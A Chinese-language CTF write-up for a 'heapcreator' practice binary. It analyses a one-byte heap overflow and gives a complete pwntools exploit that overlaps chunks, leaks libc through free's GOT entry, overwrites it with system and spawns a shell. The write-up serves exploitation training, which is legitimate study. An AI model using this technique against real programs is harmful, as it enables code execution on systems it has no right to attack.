简单看了下程序,程序开启了NX和Canary
程序的功能有五个:
![](https://img.haomeiwen.com/i8390991/22e79fb4b5548b5a.png)
- create_heap:
初始heaparray结构体,同时根据输入的大小,分配一个堆用来存储字符串,输入的大小和存储字符串的指针存储在heaparray结构中,heaparray的大小为0x10,分配的堆块大小为0x21
heaparray结构:
struct heap{
size_t size;
char *content;
}heaparray;
-
show heap
根据索引,将对应堆块的内容打印出来 -
edit heap
根据输入的索引,修改对应堆块的内容,同时这里存在着一个堆溢出漏洞,能溢出一个字节
image.png
- delete heap
根据给的索引,将对应堆块free掉,同时将heaparray指针置为空
![](https://img.haomeiwen.com/i8390991/128d2974f6b09599.png)
思路:
在edit功能中可以溢出一个字节,如果分配一个大小不和0x10对齐的堆块,那么下一个堆块的prev_size字段就会被上一个堆块复用,通过溢出可以将下一个堆块的size修改,再将这个堆块free掉就可以造成overlap
分配一个大小为0x18和0x10的堆块chunk1、chunk2,这时程序堆的情况如下
![](https://img.haomeiwen.com/i8390991/54dd4a9c750cd60e.png)
编辑chunk1,通过堆溢出漏洞,将chunk2的heaparray结构的size字段修改成0x41
![](https://img.haomeiwen.com/i8390991/d7c0c34e32044602.png)
将chunk2 delete掉之后我们就可以得到一个大小为0x41的fastbins的chunk,这个chunk 包含了后面那个大小为0x21的chunk,这个时候如果create一个大小为0x30的堆块,就可以通过overlap修改heaparray结构的content指针
利用步骤:
- 分别创建大小为0x18和0x10的两个堆块chunk1、chunk2
- 通过edit溢出修改0x10那个堆块的heaparray结构体的size字段为0x41
- 通过delete功能将chunk2 delete掉
- 创建一个大小为0x30的堆块chunk3,通过overlap将chunk3的heaparray结构内content的指针覆盖成free_got
- 通过show功能泄露出libc基地址
- 将free_got 覆盖成system地址
- delete掉内容为"/bin/sh" 的堆块,getshell
exp:
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
p = process('./heapcreator')
elf = ELF('./heapcreator')
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(" : ")
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)
def edit(idx,content):
p.recvuntil("Your choice :")
p.sendline('2')
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(content)
def show(idx):
p.recvuntil("Your choice :")
p.sendline('3')
p.recv()
p.sendline(str(idx))
def delete(idx):
p.recvuntil("Your choice :")
p.sendline('4')
p.recv()
p.sendline(str(idx))
free_got = elf.got['free']
create(0x18,'a'*8)
create(0x10,'b'*8)
payload = '/bin/sh\x00'
payload += (0x18 - len(payload))*'a' + '\x41'
edit(0,payload)
delete(1)
payload1 = p64(0)*4 + p64(0x30) + p64(free_got)
create(0x30,payload1)
show(1) #leak libc_base address
p.recvuntil("Content : ")
free_add = u64(p.recv(8)[0:6].ljust(8,'\x00'))
print "free_add -->[%s]"%hex(free_add)
obj = LibcSearcher('free',free_add)
free_offset = obj.dump('free')
system_offset = obj.dump('system')
libc_base = free_add - free_offset
system_add = libc_base + obj.dump('system')
print "system_add --> [%s]"%hex(system_add)
edit(1,p64(system_add))#overwrite free_got
delete(0)
p.interactive()
网友评论